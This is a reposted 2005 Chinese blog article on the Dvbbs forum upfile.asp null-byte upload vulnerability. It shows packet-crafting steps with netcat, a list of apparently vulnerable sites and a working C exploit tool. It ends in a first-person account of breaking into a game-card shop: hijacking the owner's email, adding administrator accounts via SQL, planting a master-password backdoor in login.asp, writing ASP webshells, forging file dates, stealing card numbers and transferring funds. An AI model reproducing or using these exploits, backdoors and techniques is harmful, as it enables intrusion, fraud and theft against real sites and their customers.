关于上传漏洞的解决问题 [转]

原创 2005年05月28日 22:58:00
【关键字:上传漏洞 UPFILE.ASP】

一、写在前面***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***NC(Netcat)

用于提交数据包DOS界面下运行:NC -vv www.***.com 80<1.txt-vv:
回显80: www端口1.txt: 就是你要发送的数据包(更多使用方法请查看本区的帖子) WSE(WSockExpert)对本机端口的监视,抓取IE提交的数据包(不会用的就自己到网上搜资料N多)


二、漏洞原理下面例子假设的前提www主机: www.***.com;
bbs路径 : /bbs/漏洞源于对动网上传文件的研究,
建议有一定编程经验的看看Dvbbs的upfile.asp文件,
没有必要全部看懂upfile是通过生成一个form表上传,如下以下被引用:----------------------------------------------------------------------------------------------------------------------------------------------------------------
用到的变量:filepath 默认值uploadface 属性hidenact 默认值upload 属性hidenfile1 就是你要传的那个文件关键是 filepath 这个变量!默认情况下我们的文件上传到www.***.com/bbs/uploadface/

文件是用你的上传时间命名的,就是upfile里的这一句FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt

--------------------------------------

我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道char data[]="bbs"这个data数组长度是4: b b s \0如果我们构造filepath如下,会怎么样呢?filepath="/newmm.asp\0"我们在2004.09.24.08.24传的文件就会发生变化没有改时:http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时:http://www.***.com/newmm.asp\0/200409240824.jpg 这样当服务器接收filepath数据时,检测到newmm.asp后面的\0就理解为filepath的数据就结束了这样我们上传的文件,比如c:\1.asp就保存成: http://www.***.com/newmm.asp 三、后期补充漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。就算他加N个hiden变量也于事无补。当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结就是我们的新理论诞生的时候!四、漏洞列表http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746 监听外部主机NC [-options] hostname port[s] [ports] ...监听本地主机NC -l -p port [options] [hostname] [port]options:-d detach from console, stealth mode-e prog inbound program to exec [dangerous!!]-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, ...-h this cruft-i secs delay interval for lines sent, ports scanned-l listen mode, for inbound connects-L listen harder, re-listen on socket close-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-s addr local source address-t answer TELNET negotiation-u UDP mode-v verbose [use twice to be more verbose]-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning]port numbers can be individual or ranges: m-n [inclusive]

详细实例:
-----------------------------
以下被引用:--------------------------------------------------------------------------------

一、WSE抓包结果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp
HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=-----------7d423a138d0278Accept-Encoding: gzip,
deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.comContent-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cacheCookie: SPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF;
isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"../medias/myPhoto/
-----------------------------7d423a138d0278...

...上传---------------7d423a138d0278-----------------

二、UltraEdit打开1.txt改数据:......-----------------------------7d423a138d0278

Content-Disposition: form-data; name="filepath"/newmm.asp█
<===这个黑色代表一个空格是 0x20,改成0x00就可以了......----------------------------

三、重新计算cookies长度,然后nc提交Nc -vv www.xin126.com 80 <1.txtUltraEdit是一个16位编辑器网上可以下载得到我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H其实你改的时候就直接再filepath的结尾处加个00就OK了计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了......
Host: www.xin126.com
Content-Length: 1969 <======就是这个Connection: Keep-AliveCache-Control: no-cache......

--------------------------------------------------------------------------------

计算会吧?一个字母、数字就是1对于上传漏洞提出的解决思路:(仅供参考)1、一般的上传是把上传路径作为一个变量来处理===>我们的对策就是把filepath变成常量。。。这个方法是目前最有效的(我认为的) 2、加强对于\0的处理,原来我们是读到这里就结束我们继续读直道下一个变量开始的地方,处理就OK了摘自:http://www.1sky1.com/edu/n8994c31.shtml ------------------------------------------------------动网论坛上传文件漏洞的原理以及攻击的代码实现----Zwell---http://www.54nb.com 最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).我们先看一下动网论坛上传文件的相关代码:以下被引用:--------------------------------------------------------------------------------'
===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class '
'建立上传对象upload.GetDate (int(Forum_Setting(56))*1024)
'取得上传数据,不限大小iCount=0if upload.err > 0 thenselect case upload.errcase 1Response.Write "请先选择你要上传的文件 [ 重新上传 ]"
case 2
Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ 重新上传 ]"end selectexit subelseformPath=upload.form("filepath")''在目录后加(/)if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file ''列出所有上传了的文件set file=upload.file(formName) ''生成一个文件对象if file.filesize<100 thenresponse.write "请先选择你要上传的图片 [ 重新上传 ]"response.endend iffileExt=lcase(file.FileExt)if CheckFileExt(fileEXT)=false thenresponse.write "文件格式不正确 [ 重新上传 ]"response.endend ifrandomizeranNum=int(90000*rnd)+10000filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExtif file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据file.SaveToFile Server.mappath(filename) ''保存文件' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!
"response.write " "iCount=iCount+1end ifset file=nothingnextset upload=nothingsession("upface")="done"Htmend iCount&" 个文件上传结束!"end ifend sub-------------------------------------------------------------------------------- 在上面代码中可以看到这样一句:filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码:以下被引用:--------------------------------------------------------------------------------
-------------------------------------------------------------------------------- 这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):以下被引用:--------------------------------------------------------------------------------POST /forum/upfile.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cnContent-Type: multipart/form-data; boundary=---------------------------7d4a325500d2Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)Host: uyee.comContent-Length: 1593Connection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF-----------------------------7d4a325500d2Content-Disposition: form-data; name="filepath"uploadFace\zwell.asp -----------------------------7d4a325500d2Content-Disposition: form-data; name="act"upload-----------------------------7d4a325500d2Content-Disposition: form-data; name="file1"; filename="C:\1.gif"Content-Type: text/plain -----------------------------7d4a325500d2Content-Disposition: form-data; name="fname"C:\1.gif-----------------------------7d4a325500d2Content-Disposition: form-data; name="Submit"上传-----------------------------7d4a325500d2---------------------------------------------------------------------------------- 上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"2.Content-Disposition: form-data; name="fname"C:\1.gif3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:Content-Length: 1593很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的.写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:以下被引用:--------------------------------------------------------------------------------#include #include #include "Resource.h"#pragma comment(lib,"ws2_32.lib")HINSTANCE g_hInst;HWND g_hWnd;HWND m_up;HWND m_host;HWND m_webpath;HWND m_path;HWND m_filename;HWND m_upload;DWORD m_theadid;BYTE sendbuf[10000];char host[80]; //主机地址char bbspath[50]; //论坛地址char uppath[20]; //上传目录char upfilename[50]; //上传文件名char upfiledata[8000]; //上传文件内容int sendsize; //总传送数据大小int realsndsize = 0; //传送页面文件的大小char snddata[8000];char mm[1000]=" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" "" \r\n"" \r\n"" \r\n"" "" \r\n"" \r\n"" "" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n"" \r\n";//获得控件文本char *gettext(HWND chwnd){char tmpbuf[10000];SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);return tmpbuf;}//设置控件文本void settext(HWND chwnd,char *text){SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);}char *itos(int data){char tmp[10];sprintf(tmp, "%d", data);return tmp;}//上传线程DWORD WINAPI uploadthread(LPVOID param){SOCKET s;sockaddr_in sin;struct hostent * hp;unsigned int addr;s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);ZeroMemory((void *)&sin, sizeof(sin));hp = gethostbyname(gettext(m_host));if (!hp)addr = inet_addr(gettext(m_host));if ((!hp) && (addr == INADDR_NONE) ){MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);return 0;}if (hp != NULL)memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);elsesin.sin_addr.s_addr = addr;sin.sin_port = htons(80);sin.sin_family = AF_INET;strcpy(host, gettext(m_host));strcpy(bbspath, gettext(m_webpath));strcpy(upfiledata, gettext(m_upload));strcpy(uppath, gettext(m_path));strcpy(upfilename, gettext(m_filename));realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n""Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n""Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp \r\n""Accept-Language: zh-cn\r\n""Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n""Accept-Encoding: gzip, deflate\r\n""User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n""Host: %s\r\n""Content-Length: %d\r\n""Connection: Keep-Alive\r\n""Cache-Control: no-cache\r\n""Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n""-----------------------------7d4a325500d2\r\n""Content-Disposition: form-data; name=\"filepath\"\r\n\r\n""%s\\%s",bbspath,host,realsndsize,uppath,upfilename);sendsize = strlen((char *)sendbuf);sendbuf[sendsize] = '\0';sprintf(snddata, "\r\n""-----------------------------7d4a325500d2\r\n""Content-Disposition: form-data; name=\"act\"\r\n\r\n""upload\r\n""-----------------------------7d4a325500d2\r\n""Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n""Content-Type: text/plain\r\n\r\n""%s\r\n""-----------------------------7d4a325500d2\r\n""Content-Disposition: form-data; name=\"fname\"\r\n\r\n""C:\\1.gif\r\n""-----------------------------7d4a325500d2\r\n""Content-Disposition: form-data; name=\"Submit\"\r\n\r\n""上传\r\n""-----------------------------7d4a325500d2--\r\n\r\n",upfiledata);strcat((char *)&sendbuf[sendsize+1], snddata);sendsize += strlen(snddata);sendsize += 1;if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin))){MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);return 0;}int sendsz = send(s, (char *)sendbuf, sendsize, 0);if(sendsz <= 0)MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);char recvbuf[10000];recv(s, (char*)recvbuf, 10000, 0);settext(m_upload, recvbuf);closesocket(s);return 0;}void WINAPI On_Command(WPARAM wParam){switch (LOWORD(wParam)){case ID_UP:CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);break;case IDCANCEL:SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));break;}}static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam){switch (msg){case WM_INITDIALOG:g_hWnd = hWndDlg;m_up = GetDlgItem(g_hWnd, ID_UP);m_host = GetDlgItem(g_hWnd, IDC_EDIT1);m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);m_path = GetDlgItem(g_hWnd, IDC_EDIT3);m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);settext(m_host, "192.168.10.101");settext(m_webpath, "/");settext(m_path, "uploadface");settext(m_filename, "zwell.asp");settext(m_upload, mm);return TRUE;case WM_COMMAND:On_Command(wParam);break;case WM_SIZE:break;case WM_CLOSE:EndDialog(g_hWnd,0);break;}return FALSE;}int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){WSADATA wsaData;g_hInst=hInstance;if(WSAStartup(MAKEWORD(1, 1), &wsaData)){MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);return 0;}DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);WSACleanup();return 1;}WINDOWS2003 + VC.NETWINDOWS2003 WINDOWS2000测试通过-------------------------------------------------------------------------------- 完整源代码暂时不提供,大家可以到论坛留言一下,如果联盟同意的话,我再公布吧.有什么问题欢迎与我交流:zwell@sohu.com http://www.54nb.com 转贴请保证文章完整性. 摘自:http://www.xfocus.net/articles/2.html -------------------------------------------------------------黑客利用《动网漏洞上传工具》的过程黑客与网管的30天较量11月20号下午四时许,天色已渐降临,还有四个多小时才下班,闲着也是闲着,到<幼儿园>群里看看吧,潜水几天了 ^_^群里的人就是牛B,各大网站的站长都有,N年前牛B的人也在,当然,吹牛B的一部份也不少.嗯,聊了几分钟,聊到了在网上黑大网站挂木马,搞站卖shell,搞各种销售站点卖钱的话题,干脆有个黑人把17173.com.cn的shell也发了出来,牛B得不得了,偶对他的敬仰真是有如江水滔滔不绝,又如长江决提一发不可......现在的黑人们,大多数都走向职业化,所谓的职业化,也只不过是应用掌握的技术,搞点钱花花吧!此时心里想,其实这也没有什么不对的,搞技术的,不靠技术赚点钱,就算一份工作,一个月拿那么点工资,有技术不等于没有?想到这里,于是顺便打听了一些好友的"赚钱"路子,有的说黑大网站挂木马偷帐号卖给游戏玩家赚钱,有的说直接去黑各游戏私服服务器,直接卖装备,有的说黑各站点的整站卖钱...... 另一朋友司徒对我说,其实也可以去搞一些游戏点卡销售的站点,直接拿点卡就OK了,听了不禁有些心动。毕竟偶接触这方面的人多,路子也多......好吧,动手。打开IE,www.google.com,输入:“点卡在线销售”。出现的站点可还真不少,看来,网游的产业在互联上的地位非同一般了,赚网钱的人也多了起来,嗯,偶们也赚去,^_^ , 这样的站,什么云网,卡天地....多得数不清,不过偶们懒得数,看上了一个界面不错的,试着拿他开刀吧。站上有ASP,PHP的页面,马上想起看能不能用SQL注入,没办法,习惯了,SQL注入闹得昏昏烈烈,试一下吧。http://xxxx/card_show.asp?id=56 http://xxxx/card_show.asp?id=56 '显示:请不要尝试“',--,select,mid*********"之类的字符,XXX防SQL注入专用系统!我曰,太阳!还专用防SQL注入呢,没门。失败,拿出SuperScan扫几个常用端口,开放的端口21,80,1433Faint!尝试旁侵,打开旁注专用工具。扫出10多个国际域名.呵呵,我不信你10多个站没一个有洞,GO,逐一检查.....用旁注工具检测了一通,看那些站包括:dvbbs/dvbbs6.mdbbbs/upfile.aspupload_soft.asp之类的页面,一分钟过去了,程序显示完成,昏倒,一个都没有。一个个打开那些站点看看的时候,差点没把我气死。TMD,10几个域名差不多全部指向同一个站,我倒!再仔细的观察一次,有一个站是私服的主页,我昏哦,难道服务器上还有私服?其中一个超连接是<本站论坛>,低落的情绪马上爆涨起来,点一下进去看看。http://xxxx/Xsfbbs/index.asp 本页面需要cookies支持,如果你的浏览器不支持cookies将不能登陆本系统。。。。一看就知道是动网的,他的二级路径是XsfBBS,怪不得刚才检测不到,晕。希望论坛可以找到突破口了。 3秒钟过去,论坛打开了,逼不及待马上看最下面那几行字:####Powered By :Dvbbs Version 7.0.0 ?2003-2004 XXXXXXXXX网::网站声明及发帖须知:: 联系QQ:XXXXXXX执行时间:62.50000毫秒。查询数据库2次。 当前模板样式:[默认模板] ####(小刀评论:建议直接访问upfile.asp文件来判断是否存在上传漏洞,因为SP2补丁有两个,第一个是没有补上传漏洞的)哇,不是sp2??不是吧???那偶不是可以抓包上传ASP?高兴中。。。马上注了一个帐号,shijiemori/pass,登陆..打开 WSockExpert (一个专用的抓包分析等软件)抓了登陆后的cookies,再拿出老兵的《动网漏洞上传工具》,填表上COOKIE,填上http://www.XXXX.com/Xsfbbs/upfile.asp,点击上传。。。。那个激动呀! (小刀评论:嘻嘻,这里犯了一个错误,其实是不用抓COOKIES的,直接上传就行了,可以的小末,每次都抓包,同情ING....)3秒钟过去,程序返回的信息:对不起,你发帖数量必须大于0才能上传文件。太阳!靠,肯定是TMD打了sp2的补丁,TMD怎么下面没改回来,误人子弟,欺骗偶滴感情。哭ing....(小刀评论:没有打补丁,只是管理员作了限制)天哪,你怎么可以这样对偶捏?再找找其它的站,都是指向那卡站,昏哦,难道真没办法了啊?再分析一下吧,实在不行就放弃,天下何处无芳草,留得处男在,那怕***** @_@累了,吃饭先。。。。。。。。。。。。半小时后,偶回来了,站长,偶这下子吃饱,喝足鸟,又回来鸟。继续分析,这下不知道是不是吃饱喝足的原因,突然发现论坛下面的QQ联系人和其它网站的都一个样,HOHO`原来站长乃是同一人物。习惯性来说,他的各个地方的密码都是一样滴`偶尝试一下看能不能猜他密码先。点击了那管理员的帐号,看一下他个人资料,QQ:“XXXXXXX”,个人签名档里写着:“XXX我爱你,就像老鼠爱大米”。当机立断,加了他的QQ,无意中发现他QQ资料也是这样写,“XXXX我爱你”,XXXX是一个MM名字,他邮箱是XXXXX@163.com,去他邮箱看看。打开mail.163.com,点忘记密码?输入他的用户名。到他QQ里找他的生日年月,填了上去,哈哈,果然正确,第二步,回答问题,问题是,我最爱的人。答案我填了XXX(他QQ资料里那MM的名字),一点,哈哈,正确了,我靠啊,真TMD爽啊。这下子,我拿到了他的邮箱。时间是刚好7点。Yeah!邮箱拿到了,邮箱里也没什么,哈哈,就算有,对偶的帮助也不一定很大滴说,突然灵机一动,他的论坛密码会不会是??????你真聪明,猜对了,我们到他论坛的登陆页面,敲入他的用户名,密码是XXXwoaini,登陆-->登陆成功!哈哈,那个激动啊,明天得去把六合彩,体育彩票,通通买光,让TMD关门。做个世界首富不成问题滴说,到时豪华个人飞机,出出入入身边PLMM一大片,晚上一个,早上一个,吃饭一个,逛街二个 @_@ @_@ .........噢,忘了,进后台先,找到文件上传类型,加上个|asp,哈哈,到首页那个帖先。。。嗯,点击上传我可爱的asp木马.......唔?唔?怎么上传不了?靠,倒?唔??我加了asp类型呀,怎么还不能上传???再试一次,还是失败,我倒。后来才发现,动网sp2就算在后台加了|asp|cer|cdx|asa之类的文件扩展名,也是不能上传滴,我,太阳!这下子闷郁死了,N久不用动网,算是偶孤陋寡闻鸟。。偶还没死心,下一步,动网不是有个数据库备份功能吗?用这个功能来实现图片与ASP之前的转换可不OK?(小刀评论:其实从7.0的最初版开始,已经限制了后台添加ASP上传类型,所以不用试这步了,直接备份数据库就行了,时间也差不多)嗯,马上动手。先到首页发个帖,把我的 "ASP木马.asp" 改名成"asp.jpg"发帖上传,现在是JPG格式的文件,看你丫的让不让偶上传 ^_^显示上传成功,不过上传后的文件名是jpg的,偶不管,记下路径先。再回到数据库里找还原数据库的页面。HOHO~~ 好像成功在即。嗯,点了一下[还原数据库]的超连接,页面出来了,但!!哦?嗯??嗯??????怎么没有恢复功能啊??我靠,原来这个论坛是TMD是SQL数据库的,我倒!!!这不分明是损我吗?天哪,怎么这样子对偶捏??再次郁闷......没办法,得向群求救。通过一个朋友得知,原来这样也要以运用数据库的[还原功能],嘿嘿,心动了吧?怎么弄呢?我们继续:在桌面新建一个wokao.htm,里面的代码是:以下被引用:--------------------------------------------------------------------------------

上传后的图片地址:

木马保存地址:

-------------------------------------------------------------------------------- '代码结束上面的0 then err.clearset conn=nothingresponse.write "数据库连接出错!"Response.Endelseconn.open connstrif err then err.clearset conn=nothingresponse.write "数据库连接出错!"Response.End end ifend if sub endConnection()conn.closeset conn=nothingend sub-------------------------------------------------------------------------------- ##############################看到这里我不禁笑了出来,数据库用SA连接。管理员还真TMD可爱呀,嗯,他不小心,偶开心。hoho..马上找出SQLexec (一个远程的SQL连接工具),填上用户,密码,连接成功。打入命令net user shijimori hack /add命令成功完成。net localgroup administrators shijiemori /add命令成功完成。(小刀评论:偶更喜欢用蓝芒的那个SQLTOOLS)马上连接对方的终端,填表上用户,密码,OK,进去鸟,哈哈......习惯性第一件事要做的,克隆一下guest帐号(克隆帐号的方法可去www.cnsu.org找“克隆管理员帐号就可获得相关资料),然后注销,用guest登陆,删掉刚才那个用户的登陆记录及用户。打开他的SQL企业管理器,所有的帐号马上逞现在眼前,嘿嘿嘿,先把他的SQL数据库备份一下,然后拉回本地,在本地装个SQL数据库,再把他的数据库还原到本地,这下子轻松多了。不过,他的密码是MD5加密的,想用他们客户的帐号进去买东西,还得一个一个改MD5密码,昏,麻烦。后来便写了一个专门读卡的小小ASP页面,放上去,直接显示卡号密码,爽。。留了几个ASP木马,冲了几十个QB。这时候也差不多到时间下班了,嗯。擦擦屁股走人先。。。这样,读卡页面一直用,过了7天。。。。。。。。。11月28号再次登陆那个卡站的时候,发现读卡页面被删,一下子心跳起来,既然被发现了,一不做二不休,把他的钱花光,转帐。找到了一个一级管理员的帐号,改了他的密码,把他的帐号余额一万多元,全部转到esales自己用户上。并且向自己的QQ中转帐一千多个QB.当时真傻,这样的事情都做得出来,原来,在他们系统里转帐还得经过他总后台同意,这样一来,我暴露了自己的QQ和esales的帐户。###############11月29日下午上线的时候,发现QQ里来了10多条这样的信息:用户xxxxxxxx请求你通过身份验证附加消息:公安已经立案了 IP地址他们已经查到了 丢了2000多元卡用户xxxxxxxx请求你通过身份验证附加消息:这些钱 都是这个IP地址的人赔给我 公安已经保证过了用户xxxxxxxx请求你通过身份验证附加消息:还要另外赔给我电话费等100元 我胜利了:}用户xxxxxxxx请求你通过身份验证附加消息:你们的 世界末日し要到了..........................................###############当时紧张了3秒,然后恢复平静,那站长说的是实话?还是恐吓之类的话,他不怕人家格他硬盘?呵呵,怕他是小鸟,我们继续,换了一个韩国肉鸡,登陆他的终端,发现我的guest密码已经不对了。还好,SA还能连得上去,还可以加用户,哈哈哈。马上加了一个用户,又上终端,在他的login.asp(登陆页面)找到这么一句,加了这么一句话:以下被引用:--------------------------------------------------------------------------------if trim(rst("userpassword"))<>trim(md5(request("password"))) thenresponse.write(" ")response.endend if-------------------------------------------------------------------------------- 这是登陆验证页面,我在这句代码了做了些手脚,把代码改成:以下被引用:--------------------------------------------------------------------------------if trim(rst("userpassword"))<>trim(md5(request("password"))) thenpassword1=request("password")if password1<>"shijiemori" thenresponse.write(" ")response.endend ifend if-------------------------------------------------------------------------------- 这句意思是说,当检测到对方的密码不正确,并且提交的密码不是"shijiemori"的时候才显示密码错误,也就是说,我用任何一个用户,输入shijiemori这个密码,他都是正确的。哈哈。这就成了“万能密码”今天特意在他一个比较隐蔽的地方,再放了一个ASP后门,以后每次都用这个后门登陆,并且修改他的硬盘资料。同时也在N个页面里放了一句这样的代码(一句话后门):以下被引用:-------------------------------------------------------------------------------- -------------------------------------------------------------------------------- 注:上面这句话功能非常强大,文章后面再作介绍.12月7日当我再登陆后门的时候,发现后门也已经被删了,faint,心想管理员已经严重发现了我的存在。没关系,在他的index.asp里,我还有一句话后门。在本地构建一个提交post.htm页面,内容如下:以下被引用:-------------------------------------------------------------------------------- set lP=server.CreateObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request("p") lP.SaveToFile server.mappath("shijiemori.asp"),2 lP.Close set lP=nothing response.redirect "shijiemori.asp" 木马

-------------------------------------------------------------------------------- '代码完成把上面的“木马”改成你的木马代码,点击上传,就会在跟目录写入一个shijiemori.asp的木马,便可以用http://XXXX/shijiemori.asp登陆 这样,我还是对他的服务器有看管理的权力。12月12日我把读卡面页设为本地读取,在本地连接他的SQL服务器,本地操作相当于远程操作,加钱,或增加用户,或管理数据库,呵呵。12月14日对方SQL服务器已经不对外了,心想是他发现了外部的连接,曰!他只对LOCALHOST开放,再 日。连不上去了,没办法,还得上去他服务器。通过前面一句话木马我们还可以写木马进去,但是。。。。。。。。。但是。。。。。。。。。。。写进去的木马几分钟后就被删了,原来,管理员对硬盘的文件实时监控,一发现有新增的文件或新修改的文件,都去检查一遍。所以,我不敢写木马了,但,我还是可以用他的帐号并且万能密码进去取卡。hoho.这里我想聪明的你一定会问,为什么他没发现我登陆的页面做了手脚?因为,我修改了那个文件的修改日期。修改文件的日期程序目前我发现有2个,一个GUI界面,一个DOS,小刀给偶滴。比如把c:\windows\system32\cmd.exe的建立日期修改为2004年12月24日,这样管理员就不容易查出来啦。所以,我的后门逃过此劫。12月17日对方重装了系统,所有的硬盘分区都不可写。只能读,昏倒。不能写还能做什么?你一定会问。这里,我得严重介绍刚才一句话目马的应用了。在本地构造提交页面fso.htm,内容如下:以下被引用:-------------------------------------------------------------------------------- response.write "<textarea rows=""9"" name=""s1"" cols=""43"">"set FsObj=Server.CreateOBject("Scripting.FileSystemObject")filepath="D:\www\wwwroot\conn.asp"Set txtsObj = FsObj.openTextFile(FilePath,1,false)if txtsObj.atEndOfStream thenResponse.write "No file"elseResponse.Write txtsObj.Readallend ifresponse.write ""

